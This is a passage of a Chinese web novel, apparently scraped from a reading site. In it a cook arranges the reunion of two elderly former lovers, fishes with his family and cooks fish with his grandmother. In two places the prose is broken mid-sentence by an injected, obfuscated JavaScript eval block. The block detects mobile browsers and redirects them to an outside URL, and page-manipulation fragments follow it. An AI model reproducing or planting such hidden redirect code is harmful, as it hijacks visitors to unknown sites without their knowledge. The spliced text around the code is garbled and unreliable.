“可别得意哈，要是我奶奶跟那位汪爷爷再续前缘，来一场轰轰烈烈的黄昏恋，不愿去香江，就要待在邱府过日子，那我可也没法子把这房子卖给你。”段语嫣蹙眉道，脸上写满了忧愁。 她现在疯狂祈祷这个结果不要出现。 不然整出给她爸找了个爹这种事，她爸爸大概率明天就会从香江杀过来，把她暴打一顿。 “你就对你爷爷那么没信心？我觉得你有点多虑。”周砚笑道。 段语嫣想了想又道：“明天他们早上见了面，安排去你店里吃饭，你给我留个位置。” “明天周末，订餐要先预约，你点什么菜我买多少食材，免得浪费。”周砚应道。 “那把菜单上的菜都来一份呗。”段语嫣不假思索道。 “司机不上桌的话，你们三个人，可吃不完七个菜。”周砚摇头。 “那要一个回锅肉，一个藿香鲫鱼，一个牛肉烧笋干，再要一个红烧排骨。” “好。”周砚点头，没想到还顺道接了个单。 “我说，汪遇到底是谁？他如今在苏稽做什么？他长什么样啊？跟我奶奶般配吗？”段语嫣转而好奇问道。 “明天早上你就知道了。”周砚出了大门，蹬起自行车就走，抬了抬手：“明天见。” “哎！你这人……”段语嫣叉着腰跺了跺脚，她最烦卖关子和不让她卖关子的人！ 严飞刚坐回驾驶位，正为飞走的奖金懊恼，便看到罪魁祸首从邱府出来，骑着车走了，还不忘跟段小姐约明天见？ 再看那段小姐，跺脚，叉腰，这般小女生作态，却是他这半年来都不曾见到过的。 段小姐天仙一样的人物，在外边对谁都是清清冷冷的，跟邱老太是一个模子刻出来的。 “唉……算了算了，把工资挣到手也行。”严飞忍住了一把油门把周砚创飞的想法，继续为自己失去的奖金哀悼。 段语嫣回到府里，便看到奶奶正从衣柜里取出一件件旗袍，对着镜子比划着，瞧见她进来，笑着问道：“语嫣，你说我明天穿哪一件合适？” 看着老太太嘴角挂着的盈盈笑意，段语嫣心情有点复杂，一起住了半年，她可是极少能在老太太的脸上看到笑容，更是从未问过她应该穿哪一件旗袍出门。 “奶奶，那个汪遇，是什么样一个人啊？”段语嫣走到近前，好奇问道。 “他呀……”邱绮看着镜子里的自己，嘴角微微上扬：“别人都说他遛鸟斗蛐没个正形，却不知他细心又体贴，每回送卤牛肉都偷偷给我带一小包蜜饯；别人都说他是不学无术的纨绔子弟，可家国破碎，偏偏又是他连夜翻墙出川打鬼子。” “走之前，他托张氏给我送了一份卤牛肉和一封信，他以身许国，与我定下两年之约，不曾想一晃四十七过去了，我再没有见过他。” “他的模样在我的记忆里已经模糊了。” “你瞧，我也不是当年的我了。” 邱绮往前走了一步，手指划过眼角的细纹，轻笑道：“老了，还能再见一面，挺好。” “您一点都不老，还美着呢！”段语嫣摇头，想了又想，还是鼓起勇气小声道：“奶奶，那当年是爷爷横刀夺爱吗？” 邱绮闻言转身过来看着她，伸手摸了摸她的脑袋笑：“不许瞎说，你爷爷可是把我从泥潭之中扯了出来，呵护了我一辈子的人。” “大婚那日，他低着头把我从车里抱出来的那一刻，我就知道我选对了人，多么骄傲的一个人啊，却愿意为我低头。” “他总说委屈我了，可生逢乱世，虎狼环伺，我才是让他不得不低头，甚至奔波流离的那个人。” “择一良人白首而终，他做到了，我也做到了。” 段语嫣呆呆看着她，奶奶的笑容中满是甜蜜，竟看到了几分少女的娇羞。 她结束了一段有缘无分的感情，然后全身心投入到了与爷爷的婚姻之中。 “我觉得这件挺好的，淡绿色，优雅又显气色。”段语嫣从衣柜里的旗袍中挑了一件，笑着说道：“肯定让他眼前一亮！” “好，那就穿这件。”邱绮点头。 …… 周砚路过镇图书馆，汪大爷靠在躺椅上，有点魂不守舍，看到周砚，立马站了起来，神情略显紧张：“她……怎么说？” “说好了，明天早上九点，石板桥头的黄葛树下，她会来和你见面。”周砚笑着说道：“大师，邱奶奶还是挺关心你的。” 汪大爷闻言也是释然的笑了，“挺好，能再见一面，挺好的。” “您明天可以换身体面点的衣裳，那我先回去了，明天早上我再来找您。”周砚笑着说了一声，蹬上自行车离去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200261|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工厂马上下班，他还急着赶回去炒菜呢。 “体面？”汪大爷低头看了看自己身上的衣裳，想了想，还是把图书馆门关上，骑上自行车往供销社去了。 两套衣裳缝缝补补穿了许多年的汪大爷，破天荒地给自己从头到脚置换了一身行头。 …… 赵嬢嬢他们已经休息去了。 跑完步回来的周砚冲了个澡，正在核算明天预约的客人点的菜。 转眼又是一个周末。 今日预定了十三桌，比上周多四桌，都是四个人以上的聚餐，有明显提升。 账算明白，把钱塞回钱箱子，上楼躺平。 这一天过得匆匆忙忙，倒也挺充实的。 虽不知明日结果如何，但他内心并不焦躁。 相反，还觉得挺满足的。 多么奇妙的缘分啊，横跨了近五十年未见的两个人，因为一份卤牛肉，再一次产生了羁绊。 他是见证者，也是推动者。 邱家老宅到底能不能到手，这一刻已经没那么重要。 他此刻唯一的想法，就是希望再一次相见的两人，依旧是对方记忆中的白月光。 …… 早上时间八点半。 周砚已经把买好的食材全部拖回饭店，然后马不停蹄的前往镇图书馆。 图书馆门前，穿着一身笔挺中山装，西装裤和千层底布鞋的汪大爷，正对着镜子打理自己的头发，一头银发二八分，梳的一丝不苟，整个人看起来精气神十足。 “来了。”汪大爷扯了扯衣服，看着周砚问道：“怎么样？行不？” “行！和年轻时候一样板正！”周砚点头，衣服一换，腰杆笔直，简直就是退休老干部的模样，公园跳舞大妈最爱那一款。 “说得好像你见过我年轻时候的模样一样，那会穿西装、皮鞋，可比现在精神多了。”汪大爷笑道。 我还真见过，承认你没吹牛，硬是帅！ “走吧，我们提早一点过去。”周砚笑着说道。 “要得。”汪大爷点头。 这里到石板桥也就几分钟脚程，周砚推着自行车，和汪大爷不慌不忙地往桥头走去。 周砚有点紧张，倒是汪大爷看着豁达而轻松。 “大师，久别重逢，准备说点什么？”周砚笑着问道，倒是真带着几分好奇。 汪大师笑了笑道：“久别重逢不说思念，你说：今宵剩把银釭照，犹恐相逢是梦中。 不说高兴，你说：笑相遇，似觉琼枝玉树相倚，暖日明霞光烂。 不谈将来，你说：人生聚散如此，相见且欢娱。” 周砚肃然起敬，默默掏出小本子记下。 大师就是大师啊，这么多年的书没白读。 他们一路不急不缓的往桥头的大黄葛树走去，走近了才发现，树下已经站着两道身影。 邱绮今日穿着一身浅绿色的旗袍，银发高高挽起，配了一对珍珠耳环，正冲着他们盈盈地笑。 汪大爷脚步一顿，看着邱绮愣愣出神。 两人之间隔着十米，却仿佛隔了半个世纪。 周砚跟着停下，往旁边靠了一点，准备看大师发挥。 而站在邱绮身旁的段语嫣，此刻捂着嘴巴，一脸震惊与茫然的看着汪大爷。 怎么会是这个大爷啊！ 昨天一起吃饭，还帮她结了账的汪大爷！ 他就是汪遇？ 段语嫣看向周砚，但周砚视而不见，根本不和她对上眼神。 邱绮向他走了过来，脸上带着笑，眼眶却渐渐红了。 汪遇嘴唇微微颤抖，张着嘴，可久久说不出来一个字，直到邱绮已经走到身前，才说出两个字：“绮绮……” “好久不见，阿遇。”邱绮开口，看着汪遇，眼里包着一汪泪，笑得格外开心。 “好久不见。”汪遇也笑了，似乎一切在这一刻都释然了。 他看着她，眼里闪耀的是万丈光芒。 周砚在这一刻，似乎明白了那句：“我见众生皆草木，唯有见你是青山。” “阿遇，我们去河边走走吧。”邱绮开口道。 “好。”汪遇点头，与她并排而行。 周砚和段语嫣站在防洪提的栏杆旁，远远看着两人踏上石板桥，有说有笑，像极了久别重逢的好友。 “你怎么不跟我说汪遇就是汪大爷？”段语嫣开口道。 “说了，你怎么还会有惊喜感呢。” “这不叫惊喜！这叫惊吓！”段语嫣咬牙，看着两人的背影，又轻叹了一口气：“没想到，汪大爷这一生竟是如此坎坷。” “人生聚散如此，相见且欢娱。他们都是豁达之人。”周砚笑着看着两人的背影。 老太太的那段记忆碎片，冥冥之中似乎有一种力量在推动着他去做这件事。 周砚和段语嫣在桥头站了许久，两人都没有说话，只是静静看着他们走过石板桥，然后在河对岸的柳树下坐着闲聊。 两人的脸上都带着笑，但中间隔着半米的距离。 周砚回头看着段语嫣道：“我手里钱不够的话，可以等两个月后再付给你不？” “你就这么有信心？”段语嫣看着他。 “汪大爷当年放手是为了成全和保护她，后来不联系是为了体面和不打扰，他从未起过占有之心，只想让她过得好，我想，如今也不会有。”周砚笑着道。 段语嫣闻言也笑了：“我奶奶说，择一良人白首而终，她也做到了。我想，他们会成为好朋友的。” “那我先回店里为中午的营业做准备了。”周砚抬手看了一眼表，“中午你带他们来吃饭吧。” “好。”段语嫣点头，看着推着自行车准备走的周砚，上前一步道：“周砚，谢谢你。我来了嘉州半年，第一次看到我奶奶那么开心。” “不客气。”周砚笑道，蹬着车走了，嘴角微微上扬。 段语嫣看着周砚的背影远去，脸上也是露出了笑容。 远处，皇冠车旁站着的严飞急得抓耳挠腮。 好啊好啊！ 寸头没防住！ 老头也没防住！ 老板要是知道了，会不会把他撕了啊？ 靠北…… (╯‵□′)╯︵┻━┻ 求月票~~ (本章完) 第145章 吃瓜一刻都不能等（6k二合一） 周砚愣了愣，眼睛一亮。 这么说！ 邱老太已经决定要去香江，邱家老宅不就空出来了。 果然心结一解，老太太还是想要去香江和自己的儿女、孙辈团聚，毕竟老了之后能有儿孙环绕膝下，何尝不是一件幸福的事情。 从与段语嫣的接触中看得出来，段家人必然不会太差。 段家家境殷实，在蓉城又有投资项目。 邱老太去香江住一段时间，若是不习惯再回来便是。 按段语嫣的说法，占地更广，重修的更豪华的段家老宅还空着呢。 这时代的路途遥远是对普通人来说的，蓉城是有机场的，不一定非得晃晃悠悠的坐着绿皮火车南下。 “挺好的，您以后写的信就可以往邮筒里投，不用装进盒子了。”周砚看着汪大爷笑着说道，今日的大爷容光焕发，看得出他发自内心的高兴。 汪大爷动情道：“这次真的太谢谢你了，我做梦都不敢想，这辈子还能和邱绮并排走过石板桥，坐在桥头的树下聊天，此生已无憾事。” 如果不能让你们重逢，那可就成我的遗憾了。周砚笑着道：“您客气了。” 目送大爷离开，周砚一转身，周沫沫头上戴着一个小草帽，扛着一根小鱼竿，提着一个小号鱼篓站在身后，仰着头看着他道：“锅锅，钓鱼摆摆！” 这一套装备，是老周同志这两天抽空给她做的。 没办法，女儿奴就是这样，要啥给做啥。 “给你也做了一根，你要不要钓嘛？”老周同志跟着出门来，手里拿着两根鱼竿，还提着两个折叠凳，看着周砚笑问道。 “肯定钓撒！”周砚笑着点头，往店里走去：“老汉，你先去挖曲鳝儿，我去和个面团。” “钓鱼盒面团做啥子？”老周同志不解问道。 “给鱼儿做个饭，今天我的目标鱼是参子，钓到了炸面鱼吃。”周砚应了一声。 “给鱼儿做饭？”老周同志挠头，有点摸不着头脑。 “锅锅给鱼摆摆做什么好吃的呢？”周沫沫则是屁颠屁颠跟进厨房。 周砚拿了个空碗，两勺面粉，一瓶盖白酒，再来一勺白糖和小半勺味精，加一勺香油，简单和匀。 然后再加入适量的水，让面粉充分吸水，揉打到面团表面细腻光滑为止。 一个拳头大小的面团就搓好了，加了香油，颜色偏一点淡黄色，凑近了能闻到淡淡的酒香和香油的香味。 “锅锅要给鱼摆摆做面面吗？”周沫沫一脸好奇的凑过来，“我闻闻。” 周砚把面团放到她鼻子前闻了一下。 “好香啊！”周沫沫下意识的张嘴。 “这是鱼饵！吃不得。”周砚眼疾手快，连忙把面团收了回来。 钓鱼不知道行不行，反正钓小吃货效果显著。 “走，出发！”周砚把面团用牛皮纸包好，拿了鱼竿，牵起周沫沫出门。 “多钓点，晚上吃啥子就看你们三个能钓好多了。”赵嬢嬢也准备出门去搓麻将，看着两人笑着道。 “要得！”周砚笑着点头。 “钓大鱼摆摆！”周沫沫张开手比划道。 没有集体活动的周末，他们家都是各玩各的，不强行凑一起大眼瞪小眼。 周砚带着周沫沫来到河边，刚好看到老周同志脸色庄重的抛下第一杆，嘴上还念念有词：“鱼儿鱼儿快上钩，我来给你们喂饭饭了……” 然后他一回头，就看到了站在身后的周砚和周沫沫。 最怕空气突然安静…… “爸爸，你偷学我的咒语吗？”周沫沫凑到老周同志跟前好奇问道。 “我……我就是随口念一句。”老周同志尴尬的挠了挠头，“那什么，坐嘛，窝子我已经打下去了。” 周砚快笑疯了，小家伙多少有点不懂人情世故了。 他拿了个小板凳在旁边坐下，然后拿过老周同志手作鱼竿。 晒干的斑竹制成的鱼竿，竹节打磨的十分光滑，持握感还挺好的，非常舒服。 长度两米左右，竿尖做了加固，已经绑好线组了。 周沫沫的小鱼干长约一米二，特意给她选了一根小竹子，手把处还缠着粉色的毛线，小家伙握着刚好合适，不用像之前那样费劲巴拉的用两只手抱着了。 老周同志重女轻男，从这可以管中窥豹。 该说不说，老周同志虽然钓不到鱼，但鱼竿做的可太好了。 周砚把鱼钩上方的牙膏皮给解了，又把浮漂往下推到离钩子十五公分左右。 这位置就是上回周沫沫一杆钓起一条五斤八两大鲤鱼的位置，这几天老周同志都在这里钓，虽然三天空军四回，但他依然坚信自己下次一定能钓上一条五斤八两的大鲤鱼。 老周同志往窝子里打了菜籽饼，这东西是榨菜籽油的残渣，有些农户会买回去掺着喂猪，育肥效果显著。 随着菜籽饼在水里雾化开来，不时有菜籽饼的残渣浮到水面来，才一会功夫，水面上就来了成群的参子。 参子各地叫法不同，有叫白条、尖嘴子、青鳞子的。 这一群数百条聚过来，对于钓鱼佬来说，属于灾难级杂鱼。 “好多鱼鱼啊！”周沫沫眼睛一亮，拿着自己的小鱼竿就往水里抛，“小鱼鱼，快快来~~” 老周同志刚从玻璃瓶里拿出一条曲鳝准备给她装上，笑着道：“你还没装曲鳝的嘛……” 空钩入水，浮漂立马就被拖着跑了。 “喔喔喔！”周沫沫连忙把鱼竿提起来，上边赫然挂着一条一卡长的大参子。 老周同志不笑了，看着那鱼钩上摇摇晃晃的大参子，又抬头看了看周沫沫，忍不住发出灵魂拷问：“这对吗？” “可能是新手大礼包还没发完吧……”周砚忍不住笑道。 应该是水面上的参子实在太多，连空钩抛下去都被追着咬。 “爸爸，摘鱼摆摆。”周沫沫把鱼往老周同志这边递。 “要得。”老周同志笑着应道，伸手把鱼给摘了丢进鱼护。 周砚拿出面团，用指甲扣了一颗米粒大小挂在钩尖上，往鱼群最多的位置一抛，浮漂立马被拖着跑，鱼竿一扬，也是一条一卡长的肥参子。 “哇哦，锅锅也钓到鱼鱼了！”周沫沫眼睛一亮。 “你又是怎么钓的呢？”老周同志有点傻眼了，明明是他先来的！怎么就他还没有钓到？ “我自己揉的面团儿，你要不要来点？”周砚笑着把手里的面团展示了一下，然后把餐条摘了丢鱼篓里养着。 “鱼还会吃面团？”老周同志眉头紧皱，明显涉及到他的知识盲区，选择摇头：“我还是挂曲鳝儿，钓大鱼。” 周砚笑而不语，只是一味上鱼。 一条、两条……十条！二十条！ 餐条连杆，根本停不下来。 周沫沫空钩钓了两条后鱼漂就不动了，不过她和犟种老周同志不同，立马转投周砚门下。 周砚帮她改了钓组，揪了一团面团给闲的抠脚的老周同志，让他给周沫沫上饵。 然后周沫沫也开始连杆了。 “哇！” “呀！” “又一条！” “我好厉害~” 伴着周沫沫的开心地惊呼声，一条又一条的参子被钓了上来。 老周同志既要摘鱼，又要挂钩，就没歇过。 虽然自己一条鱼没钓上来，但至少累着了啊。 “钓鱼有这么简单吗？为什么可以一条又一条？”老周同志开始有点怀疑人生了。 他们钓了两个小时左右，周砚手都拉麻了，看了眼鱼篓里快要满出来的参子，果断收杆。 周沫沫早就**了，她也钓了好几十条呢，这会正蹲在鱼篓边上玩。 “老汉儿，这么多鱼，不是有手就行，怎么会空军呢？”周砚放下鱼竿，一脸疑惑地看着老周同志问道。 老周同志沉吟道：“额……应该是今天天气好，气压刚好合适，水温也恰到好处。” “走嘛，回去弄鱼，这么多参子，杀都要杀好久。”周砚提起鱼篓，光是他钓的少说都有四五斤。 “要得。”老周同志跟着收杆，提起他那个鱼篓看了一眼，笑道：“不少哦，怕是吃不完。” 又是收获满满的一天。 除了老周同志。 提着鱼回到饭店，赵嬢嬢坐在门口嗑瓜子。 “你不是去搓麻将吗？”老周同志有些意外地问道。 “李三妹去城头了，三缺一，没打成。”赵铁英笑着起身，“这么早回来，钓到没得嘛？” “爸爸没钓到，我和锅锅钓到好多好多鱼儿哦！”周沫沫高兴道。 “真的？我看看。”赵铁英接过鱼篓老周同志的鱼篓看了一眼，惊讶道：“喔唷！钓这么多？都是沫沫钓的？” “嗯嗯。”周沫沫点着脑袋，小脸上写满了快夸夸我！ “我们幺女硬是厉害哦！你老汉儿从来没钓到过这么多鱼。”赵铁英笑眯眯道。 老周同志尴尬挠头，能怎么办呢，她空钩都能钓两条，他守一个下午一条都没钓到。 “还有高手哦！”赵铁英又接过周砚的鱼篓，手往下一沉，更惊讶了：“这都有四五斤了，啷个整呢？我们四个怕是吃不完哦。” “挑两斤大的拿来红烧，挑两斤小的拿来炸面鱼，剩下的要不送人？”周砚说道。 “可以。”赵嬢嬢点头，看着老周同志道：“老娘喜欢吃鱼，你去把她和老五喊来吃晚饭。再把多的参子分成三份，几个哥哥一家送一份去，让他们自己整嘛。我们来杀鱼、炸鱼，你们回来刚好可以吃。” “要得。”老周同志点头，先把鱼竿拿进去放好。 周砚把参子倒出来选了一下，大的挑一盘，小的挑一盘，剩下大小匀净的分装成三份，几个伯伯带回去，一家能有一斤多，不管是炸着吃还是烧着吃，都能当盘菜。 老周同志骑着车走了，赵嬢嬢和周砚则开始杀鱼。 初冬的白条肥的很，大的一条能有二两重，接近筷子那么长，十条就有两斤了。 小的一指多长，两斤数量可就多了。 参子的鱼鳞细又软，指甲从尾巴方向逆着一推，鱼鳞就下来了。 赵嬢嬢干活麻利，俩人半个小时就把鱼杀的干干净净，拿井水漂洗了几遍，拿了个竹编簸箕摊开晾着，一点血水都不带。 “看着硬是巴适。”赵嬢嬢笑着道：“要我帮你打下手不？” “帮我烧火嘛，我先蒸一锅饭在锅里，把鱼儿炸一道定型好，等他们来了再现做现吃。”周砚说道，端起簸箕起身往厨房走。 淀粉和面粉二比一，打入一个鸡蛋，加入适量的盐，加水调制成面粉糊糊，然后把腌制过的小参子倒入糊糊中搅拌，让每一根参子都均匀裹上糊糊。 油温六成热，下入先炸五分熟定型，捞出备用。 炸参子吃的是一个口感，第二遍下油锅复炸才能炸透炸酥。 大参子今天不下油锅，葱姜料酒先腌着，他打算试试用活渡鲫鱼的做法来做活渡大参子。 “渡”是川菜烹饪中的一种做法，小火慢慢的把鱼肉浸熟，吃的是一个鲜嫩爽滑。 和上回做的**鱼做法相近，差别在于不裹厚淀粉，也不下油锅炸一遍。 准备的烧鱼料大同小异，泡菜坛子揭开，捞一把泡椒、泡姜、酸萝卜三兄弟，切成小碎丁，干辣椒、葱、姜、蒜必不可少，再来一把自己腌的酸菜切碎。 在川渝地区，鱼烧的好不好，就看最后剩下的鱼汤能下几碗饭。 要是能得一句：“这汤汤留到明天早上下面！”的评价。 那就说明这鱼烧的相当有水准。 “奶奶！” “小叔叔！” 门口传来周沫沫欢快的声音，人来了，周砚立马就开始炒料。 一勺菜籽油，一勺猪油，混合油香味更为浓郁，油热下入泡菜碎丁煸炒，水分蒸干，酸香扑鼻，豆瓣酱下锅炒出红油，然后下入葱姜蒜炒香，倒入清水煮开五分钟，让味道彻底进入汤汁里。 调好味，下入大餐条，水位刚好没过鱼，加入一把葱段，小火慢渡。 另一口油锅加大火力，让油温慢慢升高，然后把之前炸定型的小参子分两次入锅复炸。 小参子浮在面上滋滋作响， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200263|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香气扑鼻而来。 老太太进了厨房，走到灶前看了两眼，笑着道：“一锅炸面鱼，一锅红烧鱼，整的可以哦。” “敢请奶奶来吃，那肯定要整好点撒。”周砚笑着道，把炸的金黄酥脆的小鱼用漏勺捞出过，装入盘中，两斤多的小鱼，足足装了两盘。 老太太拿了双筷子，先夹了一条上下晃了晃，递给眼巴巴在旁边瞅着的周沫沫。 “谢谢奶奶！”周沫沫两眼放光的接过，对着鱼脑袋就是一口。 咔嚓！ 好脆！ 小鱼骨头都是脆的，嚼起来酥酥的，好香！ 小家伙眼睛顿时亮了起来，抬头惊喜的看着老太太：“奶奶，小鱼鱼没得刺刺吗？” “小口慢慢嚼，骨头都炸酥了，嚼烂了就可以吞下去。”老太太笑着说道。 “嗯嗯。”周沫沫乖巧点头，小口小口咬着，每一口都嚼好一会才吞下去。 老太太自己也夹了一条小鱼，一口半条，细细嚼着，点头道：“硬是酥脆的很，你这个面粉调的好，打了蛋进去啊？盐味也合适，下酒巴适得很。” “淀粉和面粉二比一，打了个鸡蛋进去和匀，调成面糊糊，面糊糊里面加点盐巴，把腌好的小鱼倒进去……”周砚一边把煮好的大参子捞起，一边跟老太太分享炸小鱼的技巧。 大参子肉比较薄，煮个三分钟即可先出锅，大火收汁，勾点芡，等到锅里汤汁开始变得浓稠，咕嘟冒泡的时候，淋入些许锅边醋，撒一把葱花，浓汤出锅浇在大参子上。 热气裹着鱼香扑鼻而来，泡菜、辣椒、葱段色彩一撞，这一份活渡大参子看着有模有样的。 “你们先吃着，我炒个油渣莲白就来。”周砚让老周同志把鱼端出厨房，锅一涮，舀一勺旁边炸了鱼的菜籽油，哐哐又炒了一份素菜。 周砚端着素菜出来，众人已经落座，不过都没动筷。 周淼给老太太倒了二两白酒，他自己和周卫国也各倒了一两。 他们哥俩平时都不喝酒，今天显然是给老太太作陪的。 “坐嘛，厨师不上桌，我们都不敢动筷子。”老太太看着周砚笑道：“要不要给你也整二两？” “我就不喝了，多干两碗饭。”周砚笑着坐下，他能喝点啤酒，但确实喝不惯白酒。 “那动筷子嘛，难得这么多年，第一回吃到老四钓的鱼。”老太太拿起筷子，先夹了一条大餐条到碗里。 周淼老脸一红，嗫嗫道：“今天这鱼是沫沫和周砚钓的。” “小鱼都不是你钓的啊？”老太太笑着摇头，“跟你大哥水平半斤八两啊。” “那我比我大哥还是要有水平一点的，我现在能钓到鱼了。”周淼有点不服气。 “大哥不说二哥，两个都差不多。端公斗法，都是假过场。”老太太摆摆手，已然把他看穿。 周砚笑嘻嘻地吃着面鱼，这小参子炸的确实不错，鱼头都是酥的，面糊糊很蓬松，嚼起来还有股蛋香，不用担心鱼刺的问题，有盐有味，香得很。 老太太夹着大参子咬了一口，细细品着，抿嘴把鱼刺逐一吐出，看着周砚道：“嗯，你这个大参子烧的硬是麻辣鲜香，鱼肉好嫩哦，点腥味都没得，酸酸辣辣的，泡菜风味还多好，等会吃完你跟我讲讲配方，下回我烧鱼也用这法子做。” 周砚笑着道：“奶奶，等会你把我泡的酸菜、泡椒抓点回去，保证你做出来的鱼酸酸辣辣，有滋有味。” “要得。”老太太点点头。 赵嬢嬢夹了一条大参子，筷子在鱼肚子上一划，一片鱼肉就下来了，和着汤汁一并喂到嘴里。 酸辣的滋味将鱼的鲜味衬地尤为突出，鱼肉太鲜嫩了，滋溜一下就在嘴里化开。 就是小刺有点多，舌尖一挑，把小刺全部抿了出来，随口道：“味道确实好，跟上回那个红烧鲤鱼的做法有些不同，就是这参子鱼刺太多了，吃起来有点不方便。” 周砚也正吃着大参子，同样意识到了这个问题。 肉确实格外鲜嫩，但是鱼小刺多，确实吃起来不够尽兴，笑着道：“看来这个烧法只适合大一点，刺少一点的鱼。” 老太太开口道：“下回把鱼炸一道再渡嘛，小刺炸透，渡好了嚼起来也是酥脆的，虽然没有那么嫩，但味道还是香。” 周砚点头，总结经验，准备下回试试。 赵嬢嬢笑着道：“刺多慢慢吃，味道好得很，太下饭了，这汤汤浇饭肯定安逸惨了。” “就是，周砚烧鱼硬是有一手，上回烧的藿香鲫鱼也是巴适得板。”周卫国开口道，他已经在盛第二碗饭了。 一家人说说笑笑，把四斤参子吃的精光，连汤汁都拌饭吃完了。 “奶奶，你还记得汪遇和他的未婚妻邱小姐不？”吃完饭，老太太坐在门口的竹椅上，周砚端了个小板凳在她身边坐下，笑着开口道。 “邱小姐……”老太太认真想了想，笑着点头：“我想起了，邱小姐好漂亮的嘛，穿着一身黑色旗袍，身段好好哦。我在苏稽见过她一次，后来去嘉州给黄四郎送卤肉，刚好凑上她结婚，嫁给了那个……那个……” “段家的少爷。”周砚笑着接到。 “对头。”老太太拍手，脸上露出了几分回忆之色：“那个年代结婚，坐的敞篷汽车，半个嘉州城的人都来看热闹，你说有好气派。” 突然，她像是意识到了什么，转头看着周砚：“你前天问我那个邱绮和段兴邦，不会就是邱小姐和段公子吧？” “对头。”周砚笑着点头：“还有你说那个可怜的汪四少爷汪遇，他现在改名叫汪然，已经退休了，在苏稽镇图书馆当管理员，身体还可以。他说哪天有空要来周村见你，感谢你和爷爷当年的救命之恩。” “哎呀，感谢啥子，他保家卫国，我不过做点小事，不让英雄被冤枉寒心，是应该的撒。”老太太摆手，身体微微前倾，面露好奇之色，压低了几分声音：“那邱老太等的就是汪遇？他们现在怎么样了？联系上了吗？再续前缘了？” 感谢大可不必。 但吃瓜一刻都不能等。 求月票~   (本章完) 第146章 我是文明人不得骂人的（8500月票加 “对，他们今天已经见了面，重新联系上了。”周砚笑着点头：“不过邱老太对段先生的爱情忠贞不渝，对汪遇的挂念已无太多儿女私情，而汪遇对她也无占据的企图之心。” “他们，应该成了好朋友。邱老太准备去香港与儿女团聚了，给汪遇留了书信地址，可以随时书信联系。” “汪遇很高兴，他跟我说，他在这个世界上又有了羁绊，再无憾事。” 老太太闻言欣慰地笑了，带着几分感慨道：“真好，都是有情有义的体面人呢，时隔近五十年还能重逢，多难得啊。” “是啊，要是错过了，这辈子都会遗憾吧。”周砚也是点头。 “莫非是你牵的线？”老太太的目光落到了周砚身上，“你前天才问的我，今天他们就见上面了，还晓得那么多内情。” 老太太确实有大智慧，啥事都瞒不过她。 周砚笑着点头：“这其实都是你的功劳，要不是你，他们俩这辈子可能都见不到这一面。” “我？”老太太皱眉。 周砚脸不红心不跳道：“你说汪遇经常给他未婚妻送卤牛肉，而邱绮又刚好喜欢吃卤牛肉，图书馆的汪大爷三番两次问起你做的卤牛肉。 我就胡乱去试一下，没想到瞎猫碰死耗子，还真给我碰到了！这汪遇改了名叫汪然，一份卤牛肉，两杯酒下肚，啥子都跟我说了。 我昨天下午去了一趟嘉州，帮他们约了时间，今天早上不就在苏稽碰上面了。 你说说，要不是你提供了重要线索，这个事肯定成不了撒？ 过两天汪遇要来感谢你，听不懂的话你点头就行，昨天为了套他的话，我都说是你跟我讲的，你可千万不要说漏嘴了哈。” “你这娃儿鬼灵精，硬是阎王爷长麻子——鬼点子多！”老太太若有所思的点头，“要得，你放一万个心，我肯定不给你说漏嘴。” “我这也是做好事嘛。”周砚咧嘴笑，跟聪明的老太太说话就是不费劲。 “不过你一天到黑生意忙的团团转，还有心思东跑西跑给他们牵线？”老太太看着他，“肯定有啥子好处落你手头了吧？” “邱老太的孙女说了，邱老太的心结解开，她就去说服邱老太把邱家老宅卖给我。”周砚笑着说道：“那宅子你晓得撒，正对着嘉州港，人流量大得很。我想把它买下来，攒钱把它推了重建，到时候搬到嘉州去，一楼拿来开饭店，二楼拿来住，安逸得很。” “你娃娃倒是有规划，从村里到镇里，又要去城里去了。”老太太闻言笑了，想了想，又说道：“邱家那宅院不小哦，买下来要花好多钱？” “一万块。” “好多？！” “一万。”周砚笑着道：“地段好，占地也宽，主要是视野也巴适，二楼能直接看到岷江和大佛边边，安逸得板。” “好是好，可这一万块钱，上哪去找呢？”老太太眉头微皱，脸上有了几分愁绪。 “奶奶，钱的事情你不用替**心，我敢起这个心思，肯定是自己有把握能挣到。”周砚心头一暖，连忙说道。 老太太看着坐在小板凳上的周砚，伸手摸了摸他的脑袋，柔声道：“小砚，慢慢来嘛，人生那么长，不要焦，不要躁，目标定小点，钱一块一块挣，日子一天一天过，才能活的有滋有味。” “嗯，我晓得。”周砚感受着那干瘦但温暖的手轻抚着脑袋，鼻子突然有点堵。 对于小辈，老太太总是怀着一颗怜悯关怀的心。 周砚吸了吸鼻子，笑着转了个话题：“奶奶，你有没有啥子地方想去耍的？等我挣到钱了，带你去耍一圈。” “去哪里耍？”老太太认真想了想道：“去韩国远不远？要花好多钱？” “韩国？”周砚一愣。 老太太点头：“你爷爷最后是在那里战斗牺牲的，他是狙击手，杀了几十个洋鬼子，其中还有个大官，拿了一等功，这辈子要是有机会的话，我就想去他战斗过的地方看看。” 周砚看着她，老太太的神情很平静，眼里却泛起了波澜。 周砚想起了记忆中爷爷归队前夜，张淑芬把布鞋塞进他的行囊，叮嘱他要活着回来的那一幕。 可那个下雨天，她等回来的是一块牌匾。 一等功臣牌匾挂在了堂屋里，可她再也等不回自己的丈夫，肚子里的孩子这辈子都见不到老汉。 